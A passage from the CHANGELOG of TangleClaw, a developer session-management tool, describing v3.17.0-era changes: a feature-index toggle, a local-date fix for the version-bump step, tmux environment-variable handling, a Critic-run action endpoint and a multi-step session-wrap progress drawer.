- **Feature Index — per-project toggle + template seeding (#207, Chunk 1)** — first sub-chunk of the multi-chunk Feature Index build. Introduces an opt-in `featureIndexEnabled` field in `DEFAULT_PROJECT_CONFIG` (default `false`) plus a settings-modal toggle that, when flipped on, seeds a `FEATURES.md` template at the project root if the file does not already exist. The seed helper `_seedFeatureIndexFile` is idempotent — never overwrites pre-existing content, never deletes on toggle-off (the file is a user-owned, git-tracked artifact). **What this chunk does:** persists the flag, surfaces it through `enrichProject`, renders the toggle in `public/ui.js`'s settings modal (engine-agnostic, always shown — the file + future wrap-step parity are engine-independent), and seeds the template stub. **What's deferred to later chunks:** SessionStart prime-prompt injection of `FEATURES.md` contents (Chunk 2, engine-capability-gated at the injection site per ADR 0001 symmetric-gate principle); the `features-toc` wrap-step handler that auto-appends stubs for PR-touched files not in `FEATURES.md` (Chunk 3); dogfooding TC-v3 itself with a populated index (Chunk 4). **Validation placement** mirrors the `silentPrime` precedent (`lib/projects.js:1169`): boolean type-check runs pre-mutation so a rejection drops cleanly without partial-state corruption. **API surface:** `PATCH /api/projects/:name` accepts `featureIndexEnabled: boolean`; `GET /api/projects/:name` and `GET /api/projects` return `featureIndexEnabled` on each project. **Test coverage:** new `test/feature-index.test.js` with 15 tests across DEFAULT_PROJECT_CONFIG default, helper idempotence (create / preserve existing / non-throwing on error), updateProject validation (5 non-boolean shapes rejected), seeding behavior on toggle-on / toggle-off / idempotent true→true save, enrichProject surface, and PATCH-body independence (combo updates persist both fields; rejection isolation). Full suite 2343 / 2343 pass (net +15 from this chunk). GitHub issue [#207](https://github.com/Jason-Vaughan/TangleClaw/issues/207); plan at `.claude/plans/feature-index.md`.

### Fixed

- **`version-bump` handler now stamps the release heading with the operator's LOCAL date instead of UTC (#205)** — `lib/wrap-steps/version-bump.js:_internal.todayIso` previously called `new Date().toISOString().slice(0, 10)`, which always returns UTC. When the wrap ran after the operator's local-zone day had ended but before midnight UTC (e.g. 5pm PT on 2026-05-22 = 00:25 UTC on 2026-05-23), the new `## [version] - YYYY-MM-DD` heading came out one day ahead of every other entry in the file. Surfaced the evening this PR landed when cutting v3.17.0 itself: handler stamped `## [3.17.0] - 2026-05-23` against a local 2026-05-22, requiring a manual patch before the release shipped — Critic n4 of that release flagged the inconsistency. **Fix:** extracted a named `_todayIsoLocal` formatter using `Date#getFullYear` / `getMonth` / `getDate`, no timezone-database dependency, exported it so tests can pin the wiring. `_internal.todayIso` now points to `_todayIsoLocal`. **Test coverage:** three new regression tests in `test/wrap-pipeline.test.js`'s `wrap-step version-bump — pure helpers` describe block — (1) YYYY-MM-DD shape pin (10 chars, separators at indices 4 and 7, regex match); (2) local-vs-UTC behavior pin using a `global.Date` subclass that pins the wall clock to a known local moment and asserts the formatter returns the local date regardless of host TZ; (3) wiring pin asserting `_internal.todayIso === _todayIsoLocal` so a future refactor cannot silently regress to a UTC-emitting default. All existing handler tests already stub `_internal.todayIso` to a deterministic literal, so the fix is purely internal to the default factory — no test plumbing churn elsewhere. **Note on `features-toc` (#207 Chunk 3, PR #215):** the new handler ships the same `todayIso: () => new Date().toISOString().slice(0, 10)` pattern; it inherits the same bug until either #215 is rebased against this fix post-merge or a follow-up applies the same change to `lib/wrap-steps/features-toc.js`. Both call sites should ultimately share a single utility; deferred so this fix stays surgical and #215 can land on its own merits. Full suite 2347 / 2347 pass (net +3 from this fix).

## [3.17.0] - 2026-05-22

### Changed

- **Prawduct `ai-content` step prompts populated (open-queue #2 post-#139)** — `data/templates/prawduct/template.json`'s three `ai-content` steps (`changelog-update`, `learnings-capture`, `memory-update`) gain real prompts. Prior to this change the steps shipped with `prompt: ""` and surfaced as `skipped` rows in every V2 wrap drawer post-Chunk-11c — functional, but produced no user-visible session output. New prompts instruct the AI to: (`changelog-update`) read `git log <lastWrapSha>..HEAD` + working tree, then edit CHANGELOG.md `[Unreleased]` per Keep-a-Changelog style with a `## Result` tail; (`learnings-capture`) reflect on non-obvious takeaways and append to `.tangleclaw/memories/learnings.md`, or write `no novel learnings` rather than fabricating signal; (`memory-update`) demote prior `Last Session` block to `wrap-log.md`, write a new block to `MEMORY.md`, then emit `## Summary` + `## NextSteps` + `## Learnings` heading blocks that `_parseFields` in `lib/wrap-steps/ai-content.js` parses against the step's `captureFields` and `_completeV2Wrap`'s summary deriver consumes for the wrap commit subject. **Migration note for existing prawduct projects:** the methodology template is cached at `~/.tangleclaw/templates/prawduct/template.json` (via `_copyBundledTemplates` at `lib/store.js` on TC server boot). `_reconcileMergeBy:id` (ADR 0001) is additive-only on existing step ids, so cached templates with `prompt: ""` keep their empty prompts on every subsequent boot. To pick up the populated prompts on an existing install: (a) stop the TC server, delete `~/.tangleclaw/templates/prawduct/template.json` (or the full `~/.tangleclaw/templates/prawduct/` directory), then restart — `_copyBundledTemplates` re-copies from `data/templates/prawduct/template.json` only when the cached dir is missing; or (b) wait for a future chunk that introduces per-field reconciliation of `step.prompt`. The per-project `.tangleclaw/project.json` is the per-project *config*, NOT the methodology template cache — deleting it does not refresh the bundled prompts. New test file `test/prawduct-aicontent-prompts.test.js` pins the prompt invariants (>=200 chars each, `## Summary` / `## NextSteps` / `## Learnings` instructions in memory-update, `captureFields` lockstep) and the minimal-methodology empty-prompt anchor (Chunk 11c contract still exercised by bundled methodology). ADR 0002 Status line carries the extension marker.

- **`DEFAULT_PROJECT_CONFIG.wrapV2: false → true` (#139, Chunk 11c)** — **closes the #139 series.** The Session Wrap button now drives the server-side `wrap_pipeline` runner by default; the legacy NL-prompt-via-tmux flow is reachable only via explicit per-project opt-out (`wrapV2: false` in `<project>/.tangleclaw/project.json`). Combined with Chunk 11a (V2 lifecycle transition) and Chunk 11b (`invoke-critic` action producer) that landed earlier in the day, V2 is now a quality default: sessions wrap-to-completion correctly, the `critic-check` step has a real producer for `.tangleclaw/critic-runs.json`, and prawduct's bundled pipeline runs the full step set (`open-pr-check` + `critic-check` are wired in here for the first time).
  - **`lib/store.js`** — `DEFAULT_PROJECT_CONFIG.wrapV2: false → true`. The block comment that previously documented the opt-in is replaced with the opt-out semantics + migration recipe. `projectConfigApi.load`'s deep-merge is unchanged, so existing projects with an explicit `wrapV2: false` in their on-disk config preserve the legacy path with no further intervention; only projects without a `project.json` (brand-new) or whose `project.json` predates the field (legacy installs that never touched the field) pick up the new V2 default.
  - **`data/templates/prawduct/template.json`** — `wrap_pipeline.steps[]` gains two leading steps: `{id: "open-pr-check", kind: "pr-check", blocker: false}` and `{id: "critic-check", kind: "critic-check", blocker: false}`. Chunks 7 + 8 deliberately did not wire these into prawduct's pipeline so the legacy NL prompt's byte-equal pin could keep passing through Chunks 4–10; the wiring lands now alongside the flag flip so V2 prawduct projects get the full surface (PR-state surfacing + Critic warning) immediately. Order: PR-check first (surfaces session-scoped PRs before any heavy steps so the user can act on the drawer's per-PR resolution dropdowns); critic-check second (its warning state needs to be staged before the `commit` step's body-builder runs). Both are `blocker: false`.
  - **Legacy NL prompt's `Wrap steps:` list changes** as a side effect of the prawduct-template change (`lib/skills.js:wrapShapeFromTemplate` flattens every `step.id` into the legacy `steps` array). The post-Chunk-11c legacy prompt for prawduct reads `Wrap steps: open-pr-check, critic-check, version-bump, changelog-update, learnings-capture, next-session-prime, memory-update, commit`. This is intentional — both the V2 pipeline and the legacy NL prompt (for opt-out projects) reflect the same authoritative step list from the methodology template. The byte-equal regression pin in `test/sessions.test.js` and `test/skills.test.js` is updated to reflect the new list.
  - **Two `wrapV2`-related test semantics inverted.** (1) `wrapV2 absent from projConfig (older on-disk state)` was previously pinned to "absent → legacy fallback" because pre-flip the default was `false`; post-flip absent → V2-routing, so the test is reframed and rewritten to assert the new contract. (2) `wrapV2:false (default)` is renamed to `wrapV2:false (explicit opt-out) uses the legacy NL-prompt path with the post-Chunk-11c step list` and pinned against the new step list (the legacy path's prompt structure — prefix, separator, capture-fields suffix — is byte-equal to pre-Chunk-11c; only the comma-joined steps inside `Wrap steps:` differ, and that's a function of the methodology template, not the legacy path's behavior).
  - **Test scaffolding fallout.** The `triggerWrap (methodology-driven)` describe block in `test/sessions.test.js` gains a `wrapV2: false` baseline in its `beforeEach` so the (numerous) legacy-asserting tests inside it stay focused on legacy behavior without each one having to repeat the projConfig write. The V2-routing tests inside the same block already write `wrapV2: true` per-test, so the baseline doesn't collide. **Two new tests** pin the Chunk 11c default-flip contract: `DEFAULT_PROJECT_CONFIG.wrapV2 is true` (direct invariant pin against `lib/store.js`); `a fresh project (no on-disk config) routes to the V2 path` (deletes the on-disk `project.json` to assert the fresh-project default; stubs `runWrapPipeline` to avoid exercising real-handler state on the tmp project). Step-count assertions in `test/wrap-pipeline.test.js` and `test/sessions.test.js` for prawduct change from 6 → 8 to match the new wired-in surface.
  - **Migration docs.** README's `Configuration` section now carries a `Session Wrap (V2 default, opt-out path)` block with the per-project opt-out recipe. ADR 0002's Status line carries a `Default flipped to V2 on 2026-05-19 via #139 Chunk 11c` marker; the Chunk 11c entry in the migration-path enumeration is expanded with the post-flip contract.
  - **What stays.** Legacy `triggerWrap` NL-prompt branch (one-release-cycle deprecation window). Back-compat shim in `lib/skills.js:wrapShapeFromTemplate` (same window). Inert `wrap.steps` / `wrap.captureFields` reconciler entries in `ARRAY_RECONCILERS` (same window).
  - **What's gone.** The original Chunk 12 "cross-engine prompt-template parity" was marked optional in the build plan; it's now tracked as a separate follow-up to be filed when the codex / gemini-side roadmap firms up. The #139 series itself can close after this PR merges — the seven gaps it set out to fix (janitor pass, Critic compliance, test gating, durable memory updates, priming-pointer roll, structured-output derivation, multi-step-commit leak) are all server-side-deterministic now.
  - **Critic pre-merge fixes (2 MAJOR + 6 MINORs + 3 NITs addressed; YELLOW → GREEN — per user directive that every finding land before merge).** (M1) README oversold V2 by listing `lint`, `tests`, and `version-bump` as deterministic V2 steps — but `version-bump` is still the Chunk-3 no-op stub and `lint` / `test` aren't wired into prawduct's pipeline. Reworded the README's `Session Wrap (V2 default, opt-out path)` block to describe **only** what prawduct's pipeline actually runs today: `pr-check` + `critic-check` + `version-bump` (placeholder) + three `ai-content` placeholders (`changelog-update`, `learnings-capture`, `memory-update` with empty prompts that surface as `skipped`) + `priming-roll` + `commit`. Methodology authors can opt in `lint` / `test` via their own templates. (M2) Three prawduct `ai-content` steps ship with `"prompt": ""` and the pre-#139-Chunk-11c handler at `lib/wrap-steps/ai-content.js:154` returned `{ok: false, status: 'blocked'}` on empty prompts. Pre-flip this was harmless (V2 was opt-in); post-flip every prawduct V2 wrap would surface three `blocked` rows in the drawer. Changed the handler's contract: **empty or whitespace-only `step.prompt` → `{ok: true, status: 'skipped', output: null, blockers: []}`**. Methodology-author intent of an empty prompt is "placeholder, no work to do today" — `skipped` matches the intent. Three new tests in `test/wrap-pipeline.test.js` pin the new behavior (empty string; whitespace-only; missing-entirely). The pre-flip `'blocks when step.prompt is empty'` test is rewritten as `'skips cleanly when step.prompt is empty (#139 Chunk 11c — placeholder semantics)'`. (N1) Stale comments in `lib/sessions.js:716-721` (`_triggerWrapV2` doc) and `:910-916` (entry-point `triggerWrap` gate) referenced the pre-flip default in future tense — both rewritten to describe the post-flip state. The gate-comment now explicitly notes the strict-equality `=== true` defensive contract. (N2) CHANGELOG cited `lib/store.js:420` for the `wrapV2` field; actual line is `426` post-comment-expansion. Dropped the line number — field name is unique. (N3) README referenced `v3.17` but `version.json` is `3.16.2`. Replaced with version-agnostic "After #139 Chunk 11c lands" / "this release". (N4) Local plan at `.claude/plans/issue-139-methodology-aware-wrap.md` Status line still read "Discovery complete. Ready to start Chunk 2" — replaced with a series-closing summary marker dated 2026-05-19. (N5) Added three round-trip persistence tests to `test/store.test.js`'s `projectConfig` describe block: explicit `wrapV2: false` survives deep-merge against the default-true config; explicit `wrapV2: true` round-trips; absent `wrapV2` defaults to `true` post-flip. These pin the migration guarantee at the unit level (the existing integration tests cover the through-`triggerWrap` path). (N6) Added a minimal-methodology variant of the opt-out test that asserts the legacy NL prompt for minimal contains `Wrap steps: learnings-capture, memory-update, commit`. (T1) Removed the redundant `projectConfig.save` from the fresh-project test's `finally` block — the outer `beforeEach` re-establishes the baseline before each test, so the inline restore was double-bookkeeping. Comment rewritten. (T3) Hoisted the duplicated `runWrapPipeline` stub literal into a frozen module-scope `EMPTY_V2_RESULT` constant shared by the absent-flag and fresh-project tests. (T4) Post-merge: delete the self-deleting auto-memory `project_issue_139_methodology_wrap.md` and prune the index line in `MEMORY.md` (per CLAUDE.md Memory Hygiene rule — the series-closed condition triggers cleanup). Tracked separately from this PR since auto-memory lives outside the repo.
  - Full suite: 2274 / 2274 pass (was 2266 at end of 11b; net +8 from Chunk 11c: +2 flip-pin tests, +2 new ai-content placeholder-semantics tests (the original `blocks-when-empty` test was rewritten as `skips-when-empty` — net replacement, not addition), +3 round-trip persistence tests in `test/store.test.js`, +1 minimal-methodology opt-out variant).

### Fixed

- **`tmux.createSession` env vars now reach the launch command's process (#190)** — `lib/tmux.js:createSession` was calling `tmux set-environment` AFTER `tmux new-session -d -s <name> <command>`, so the spawned command (e.g. an engine launcher reading from `~/.tangleclaw/engines/<id>.json` `launch.env`) inherited the original parent process env without the supplemented values. `set-environment` only affects subsequently-spawned child processes — the launch command itself was already running. Net effect: every engine override using `launch.env` to inject runtime variables (API keys, base URLs, env-keyed model selectors) silently did nothing. Surfaced via the Aider engine override → LiteLLM gateway integration: `OPENAI_API_KEY` never reached the spawned `aider` process, producing `litellm.AuthenticationError: OpenAIException - The api_key client option must be set either by passing api_key to the client or by setting the OPENAI_API_KEY environment variable`. **Fix**: use `tmux new-session -e KEY=VALUE` flags (tmux ≥ 2.8) so env is applied at session-creation time BEFORE the initial command spawns. Post-create `set-environment` loop removed (redundant once `-e` is in place, and removing it eliminates a second-source-of-truth for the same values). Each `-e VALUE` is wrapped via `_escapeArg` so values with shell metacharacters (spaces, quotes, `$`, `;`) reach the child byte-intact. **Test coverage**: `test/tmux.test.js` had zero coverage for `options.env`; added two regression pins — (1) launch command actually inherits the env vars (dump to file, read back, assert) and (2) tricky values with shell metacharacters survive the escape unchanged. **Blast radius**: any engine override using `launch.env` was silently broken; today only the Aider override exercised the path, but future env-keyed engine integrations (LiteLLM-routed codex, env-keyed gemini variants, etc.) would have hit the same trap. Full suite: 2226 / 2226 pass (was 2224 at end of Chunk 10; net +2). Independent corroboration: Monad-1 session identified the same tmux server / session env-cache hypothesis from their side without seeing the TC patch — diagnoses converged on `-e per-session` as the proper fix.

### Added

- **Real `version-bump` wrap-step handler (open-queue #3 post-#139)** — `lib/wrap-steps/version-bump.js` replaces the #139 Chunk-3 no-op stub with a full handler that reads `CHANGELOG.md` `[Unreleased]` + `version.json`, decides a bump level, promotes `[Unreleased]` to a dated release, and bumps the semver. Closes the last remaining no-op stub in `lib/wrap-steps/`. **Bump-level precedence:** `options.bumpLevel` override (`patch`|`minor`|`major`) wins outright; otherwise `BREAKING` marker anywhere in the [Unreleased] body forces `major`; otherwise `### Added` / `### Changed` / `### Removed` / `### Deprecated` present → `minor`; otherwise (only `### Fixed` / `### Security`) → `patch`. **Single-transaction discipline + composite-staged-keys.** Handler never writes the filesystem; it stages TWO entries under composite keys (`'version-bump:version-json'` and `'version-bump:changelog'`) so the Chunk-9 `commit` step's `_flushStagedWrites` (already duck-typed on `{primingPath, newContent, changed}`) flushes both with no dispatch-table edit. Establishes the multi-file write-staging convention for any future step that needs to stage more than one file. **Commit body line.** `lib/wrap-steps/commit.js:_buildBodyLines` gains a new duck-type matching `{oldVersion, newVersion, bumpLevel}` — emits `- Bumped <old> → <new> (<level>)` once per pipeline run (deduped via a local flag since both staged entries carry the metadata). **Never blocks** (matches the ADR 0002 step-kind contract): every degraded condition — missing `version.json`, malformed `version.json`, non-semver `version` field, missing `CHANGELOG.md`, missing `[Unreleased]` section, `[Unreleased]` with no entries — returns `{ok:true, status:'skipped'}` with a `reason` / `detail` in `output` for the wrap drawer to render inline. **Idempotent on re-wrap:** after a successful bump the `[Unreleased]` body is empty (just the heading); the next wrap observes no entries and skips. **Banner emoji NOT auto-injected** — `> 🛟` (bug-fix) / `> 🚀` (feature) leading banners stay a curated operator decision per the project's CHANGELOG convention; the handler promotes `[Unreleased]` body byte-for-byte under the new dated heading and the operator adds the banner manually. **Output for the drawer:** `output.from`, `output.to`, `output.bumpLevel`, `output.detail` (the pre-formatted "from → to (level)" string) — matches the existing `wrap-drawer.js:deriveDetail`'s `version-bump` case (`if (output.from && output.to)`), no drawer change required. **Test coverage:** 39 net new tests across `test/wrap-pipeline.test.js` (pure-helper decision tables for `_parseSemver` / `_bumpSemver` / `_parseUnreleased` / `_decideBumpLevel` / `_promoteUnreleased`; handler tests for every skip path + happy path + idempotency + override + BREAKING-marker + never-blocks contract sweep; commit-body-line duck-type + dedupe pin). The Chunk-3 `wrap-pipeline step stubs` describe block now marks its `kinds` array empty with a sentinel pin so a future stub-introducing chunk has to update the list. **ADR 0002** Status line extended with the open-queue-#3 marker.

- **V2 wrap session-lifecycle transition (#139, Chunk 11a)** — first sub-chunk of the original Chunk 11 (split into 11a / 11b / 11c during this session's scope review). Resolves [#186](https://github.com/Jason-Vaughan/TangleClaw/issues/186): a successful V2 wrap that produced a commit now transitions the session record (`status: 'wrapped'`), kills tmux, releases doc locks, and clears idle + wrap-pane caches — symmetric with the legacy `completeWrap` teardown minus `_autoCommitIfDirty` (V2's `commit` step already flushed). Pre-#186, V2 wraps left the session `active` indefinitely; the drawer's "Done" only closed the drawer. Halted / thrown / clean-session (`ok` + `null` SHA) runs still leave the session active per spec so the user can retry or continue. **Scope:** this is pre-flip plumbing — the flag flip itself moves to Chunk 11c so V2 is a quality experience before becoming the default; `invoke-critic` action producer (Chunk 11b) and prawduct template wiring (Chunk 11c) remain follow-ups.
  - **`lib/sessions.js`** — new helpers `_completeV2Wrap(active, pipelineResult)` and `_deriveV2WrapSummary(pipelineResult)`. The completion helper calls `store.sessions.wrap(active.id, summary)`, then independently runs each teardown step inside its own `try/catch` so a failure in one (e.g. tmux already gone, lock-release threw) cannot block the others. The summary deriver resolves in order: (1) first step output with `parsedFields.summary` (a non-empty trimmed string) — the prawduct `memory-update` shape; (2) first step output with `capturedText` — other `ai-content` steps; (3) `pipelineResult.summary` — reserved for a future `summary-derive` step per `lib/wrap-pipeline.js`; (4) `null` so `store.sessions.wrap` keeps the column NULL rather than writing an empty string.
  - **Gate predicate.** `_triggerWrapV2` calls `_completeV2Wrap` only when `pipelineResult.ok && pipelineResult.commitSha`. Clean-session wraps (`ok && !commitSha`, e.g. user clicked Wrap on a truly clean tree → `commit` step returned `status: 'skipped'`) preserve the session by design — there was nothing to wrap. Halted runs (`!ok`) and runner-thrown errors leave the session active so the user's Retry click re-enters from the same state.
  - **Plan + ADR split.** `.claude/plans/issue-139-methodology-aware-wrap.md` and `docs/adr/0002-wrap-pipeline-contract.md` now describe the Chunk 11 → 11a / 11b / 11c split with per-sub-chunk Scope / Acceptance / Critic sections. Rationale recorded inline so future-self / Critic understands why a bare flag flip wasn't the right shape.
  - **Tests** (+11 in `test/sessions.test.js`, new `V2 lifecycle transition (#139 Chunk 11a)` block under `triggerWrap (methodology-driven)`): (1) `ok + commitSha → wraps the session and runs full teardown` — pins `getActive → null`, the wrapped row's `status` + `wrapSummary`, plus `tmux.killSession` / `documentLocks.releaseBySession` were called with the right args; (2) `ok + null commitSha (clean session) → session stays active`; (3) `halted (!ok) → session stays active` even when `pipelineResult.commitSha` is populated (the halt gates the wrap, not the SHA); (4) `runner thrown → session stays active`; (5) `summary: parsedFields.summary wins over capturedText`; (6) `summary: capturedText is fallback when no parsedFields.summary`; (7) `summary: null when no step output carries summary signal`; (8) `tmux.killSession failure is non-fatal — session still wraps`; (9) `releaseBySession failure is non-fatal — session still wraps`; (10) `store.sessions.wrap failure is non-fatal — teardown still runs` (each teardown step's try/catch isolates the others, addressing Critic minor coverage gap); (11) `second triggerWrap after a successful V2 wrap returns "No active session"` (pins the idempotency contract at the call-site level — after the first wrap, the entry-point pre-check rejects before reaching the runner). Stubs `wrapPipeline.runWrapPipeline` to return fixed structured results so the lifecycle behavior is pinned without exercising real step handlers. Full suite: 2235 / 2235 pass (was 2224 at end of Chunk 10; net +11).
  - **Critic pre-merge fixes (3 MINOR addressed; YELLOW → GREEN):** (M1) Coverage gap on `tmuxSession === null/empty` defense-in-depth branch — added a comment block on `lib/sessions.js:855–860` explaining `triggerWrap`'s entry-point pre-check makes the guard unreachable via the normal V2 flow, but kept the guard so the helper remains safe to call from future callers. (M2) No idempotency test — added test 11 above. (M3) No test for `store.sessions.wrap` throwing — added test 10 above. NIT findings on gate-predicate type narrowing and `clearIdleCache` indentation asymmetry declined as not load-bearing (runner contract guarantees `commitSha` type; cache-clear placement is intentional — no cache to clear when there's no tmux session).

- **`invoke-critic` action producer (#139, Chunk 11b)** — second sub-chunk of the original Chunk 11 (split into 11a / 11b / 11c during 11a's session-start scope review). Wires the prawduct `invoke-critic` action button (previously a no-op declaration in `data/templates/prawduct/template.json:84`) so clicking "Run Critic" writes an entry to `<project>/.tangleclaw/critic-runs.json` per Chunk 7's read contract: an array of `{branchName: string, timestamp: ISO 8601, ...}` entries. Without this writer, the `critic-check` wrap step always emitted `warning: true` on medium+ work because no producer existed for the file it reads. With Chunks 11a + 11b shipped, the only remaining work to flip `wrapV2: true` by default is Chunk 11c (flag flip + prawduct template wiring + migration docs + test updates).
  - **`lib/actions/invoke-critic.js`** — the handler. Resolves the current branch via `git rev-parse --abbrev-ref HEAD` (sync, so a single Node process can't interleave concurrent read-modify-write windows); returns `null` for detached HEAD / non-repo / missing git, which the handler surfaces as `ok: false` with a specific error. Reads existing `critic-runs.json` via a tolerant loader symmetric with the Chunk 7 reader (missing file / malformed JSON / non-array contents all degrade to `[]` so a corrupted file is silently rebuilt on next write). Appends `{branchName, timestamp: new Date().toISOString()}` to the array. **Atomic write:** tempfile + `fs.renameSync` within the same filesystem so a concurrent reader sees either the pre-write content or the full post-write content, never a half-written file. Caller-injection seams: `options.branchName` (skips git resolution), `options.now` (deterministic timestamps for tests).
  - **`lib/actions.js`** — the dispatcher. Maps action `command` → handler module via `ACTION_DISPATCH`. Validates that the project's methodology declares the command in its `actions[]` block before dispatching: the methodology template is the authorization surface, so a frontend that POSTs a command not declared by the project's methodology gets a 404 rather than executing. Handlers that throw are caught and surfaced as `{ok: false, error: 'action handler threw: ...'}`. Separate from the wrap-pipeline dispatch table (`lib/wrap-pipeline.js:STEP_DISPATCH`) so user-clicked actions and pipeline-runner steps don't accidentally couple — adding a new action is a one-line entry plus a sibling module under `lib/actions/`.
  - **`POST /api/projects/:name/actions/:command`** (`server.js`). Body is the handler's `options` (object-only; arrays / strings / numbers / null all coerce to `undefined` so the handler's default-param governs — symmetric with the wrap endpoint's body-parsing contract). Status codes: `200` ok or handler-soft-fail (detached HEAD, missing project path, etc — frontend surfaces the error inline); `404` for unknown project or undeclared action command; `500` for handler-thrown.
  - **`lib/projects.js:enrichProject`** — methodology object now carries `actions[]` (filtered to entries with string `label` + `command`; `confirm` coerced to boolean). The frontend reads this from the `GET /api/projects/:name` response to decide which action buttons to render, so no second round-trip to `/api/methodologies/:id` is needed.
  - **Frontend wire-up** (`public/session.html`, `public/session.js`, `public/session.css`). New `<span id="methodologyActions">` slot in the banner-actions row; `renderMethodologyActions(actions)` populates it after `loadProject`. Click handler: optional `window.confirm` when the action declares `confirm: true`, then `apiMutate POST /api/projects/.../actions/<command>` with the request body `{}`. Inline disable + label-change ("Run Critic…") for the duration of the request so a user can't double-fire. Brief banner-anchored toast (`#methodologyActionToast`) confirms success/error; hides after 3.5s.
  - **Tests** (+31): `test/actions-invoke-critic.test.js` (15 — new-file create, append to existing, malformed JSON recovery, top-level-object recovery, caller-supplied branchName, detached HEAD failure, non-git directory failure, empty/missing project.path validation, `now()` injection seam, no `.tmp.*` remnants after success, idempotency across multiple invocations, `.tangleclaw` exists as regular file (post-Critic), `_redactProjectPath` strips absolute path (post-Critic), `_redactProjectPath` no-op when projectPath empty/null (post-Critic), round-trip pin against the Chunk 7 reader's shape filter). `test/actions-dispatcher.test.js` (7 — runs invoke-critic for prawduct, rejects undeclared action on minimal, rejects unknown command, returns "not found" for unknown project, validates inputs, forwards options to handler, catches handler throws). `test/api-actions.test.js` (9 — 200 ok, 404 unknown project, 404 undeclared action, 404 unknown command, body forwarded as options, non-object body coerced, soft-fail returns 200 ok:false, prawduct project response includes actions[], minimal project response has empty actions[]). Full suite: 2255 / 2255 pass (was 2224 at end of Chunk 10; net +31).
  - **Out of scope (deliberately):** no frontend unit tests for `renderMethodologyActions` / `invokeMethodologyAction` / `showMethodologyActionToast` — they're DOM-coupled glue (~80 lines) that don't justify extracting a separate helper module the way `wrap-drawer.js` did for the multi-step drawer's view-model logic. **Per CLAUDE.md frontend-testing rule: the dev server was NOT run to validate the button in a browser — manual smoke test required at user review.** Server-side request/response is well-pinned via the API tests; frontend integration is straightforward glue (`apiMutate → result.ok → toast`).
  - **Critic pre-merge fixes (1 MAJOR + 3 MINORs + 1 NIT addressed; YELLOW → GREEN).** (M1, MAJOR) `public/session.js:254` accessed `api.lastError.message` to render the error toast — but `api.lastError` is a **string** per `public/api-helper.js` (lines 2030 and 2170 in the same file consume it as a bare string, confirming the pattern). Result: every server-returned 4xx error showed the literal "Run Critic: failed" toast instead of the real reason. Fixed by dropping `.message`. No coverage caught this because the disclaimed frontend test gap left the toast string the user sees unpinned. (M2) `execSync('git rev-parse --abbrev-ref HEAD')` had no timeout — a pathological FS hang or git-lfs prompt could stall the single-process server's event loop. Added `timeout: 5000`. (M3) Error messages from `fs.mkdirSync` / `fs.writeFileSync` / `fs.renameSync` leak the project absolute path into the HTTP response (low impact for a single-user dev tool but reachable via the public API). Added `_redactProjectPath` helper that replaces the project's absolute path with the literal `<project>` placeholder; applied to both fs error paths. (M4) Test gap on `.tangleclaw` existing as a regular file — `mkdirSync({recursive: true})` throws EEXIST in that case; pinned with a new test that verifies the surfaced shape + redaction. (N1) `document.querySelector('.methodology-action-btn[data-command="..."]')` used unescaped template interpolation; defended with `CSS.escape` fallback to a manual escape so methodology-template-supplied command strings containing selector-syntax characters can't break the button-disable behavior. Declined: (MINOR) substring-based error → HTTP-status routing in `server.js` is fragile but not regressing today — a follow-up to add a `code` field to `runAction`'s return contract is filed conceptually but not pinned to a chunk; (MINOR) `confirm: true` action-path coverage — acknowledged scope gap, scope-disclaimed alongside other frontend tests; (NIT) `ACTION_DISPATCH` single-entry table — deliberately overbuilt for one entry per the module doc's scope-discipline rationale; (NIT) temp filename `${filePath}.tmp.${pid}.${Date.now()}` — single-process sync I/O makes collision impossible, no need for `crypto.randomBytes`.
  - **Bonus follow-up.** Chunk 7's open question — "where does `critic-runs.json` get written?" — is now answered. The Chunk 11c flag flip can ship without `critic-check` defaulting to `warning: true` on every prawduct project's medium+ work, because the Run Critic button has a real producer.

- **Frontend multi-step wrap progress drawer (#139, Chunk 10)** — tenth chunk of the methodology-aware single-button session wrap. Replaces the single-button confirm modal with a drawer that renders each pipeline step's status (`pending` / `running` / `done` / `blocked` / `skipped`) plus inline interactive recovery widgets for blocked or warning steps. The legacy `wrapV2:false` modal flow is unchanged byte-for-byte; the drawer only opens when the server response carries a `pipelineResult` (V2 path). With Chunk 10 landed, the wrap UX is functional end-to-end against the Chunks 4–9 step handlers; Chunk 11 (default flip) is now validatable against a real interactive flow.
  - **New `public/wrap-drawer.js` helper module** (mirrors `public/api-helper.js` pattern). Exposes `window.tcWrapDrawerHelpers` with seven pure functions — `buildStepRow`, `deriveDetail`, `summarizePipelineStatus`, `decisionWidgetForBlockedStep`, `warningWidgetForStep`, `prCheckResolutionWidget`, `collectOptionsFromAccessors`. All DOM-free so they're testable in a Node vm sandbox; `session.js` consumes the view-models and owns the DOM. Module pattern matches the existing api-helper factory: attaches to `window` in the browser, exports via `module.exports` for tests.
  - **`public/session.html`** — new drawer markup after the existing wrap modal: `#wrapDrawerBackdrop`, `#wrapDrawer` (with `.wrap-drawer-header`, `#wrapDrawerStatus`, `#wrapStepList`, `#wrapDrawerDecision`, action buttons `#wrapDrawerCancelBtn` / `#wrapDrawerRetryBtn` / `#wrapDrawerDoneBtn` / `#wrapDrawerCloseBtn`). Drawer hidden until `openWrapDrawer(pipelineResult)` is invoked. `wrap-drawer.js` script tag added before `session.js` so the helpers are available at page-script init.
  - **`public/session.css`** — full drawer style block. Reuses the existing `.drawer-backdrop` / `.drawer-handle` styles (peek drawer pattern); adds `.wrap-drawer`, per-step row grid (`.wrap-step-row` + `.wrap-step-main` + `.wrap-step-status`), status-pill color tones (`pending` / `running` / `done` / `blocked` / `skipped`), warning + blocker row backgrounds, decision-widget styles for checkbox / textarea / pr-list shapes.
  - **`public/session.js`** — `confirmWrap` now branches on response shape: V2 (`data.pipelineResult` present) → `openWrapDrawer(data.pipelineResult)`; V1 (legacy `{ok, status:'wrapping'}`) → existing `showWrappingState` + polling loop, byte-equal to pre-Chunk-10. New functions: `openWrapDrawer` / `closeWrapDrawer` / `renderWrapDrawer` (orchestrates status banner + step list + decision widget + action-button visibility) / `renderStepRow` (`<li>` per result) / `renderDecisionWidget` (checkbox or textarea) / `renderPrResolutionWidget` (per-PR dropdown row) / `retryWrap` (collects decision-widget values via accessor functions and re-POSTs to `/wrap` with `{options}`). Action-button visibility logic: `Retry` shows when `blockedAt` is set OR a warning/pr-list widget rendered; `Done` shows on clean `ok:true`; `Cancel/Close` always present; close-affordances wired (X button, Cancel button, backdrop click). The `currentPipelineResult` module-level variable retains the most recent result so a retry's response replaces it.
  - **Decision widgets — three shapes, one collection path.**
    - **`test` blocked** (`blocker:true` + `allowOverride:true`) → checkbox "Override: skip tests and record the override in the commit body" → on retry sends `options.skipTests:true`.
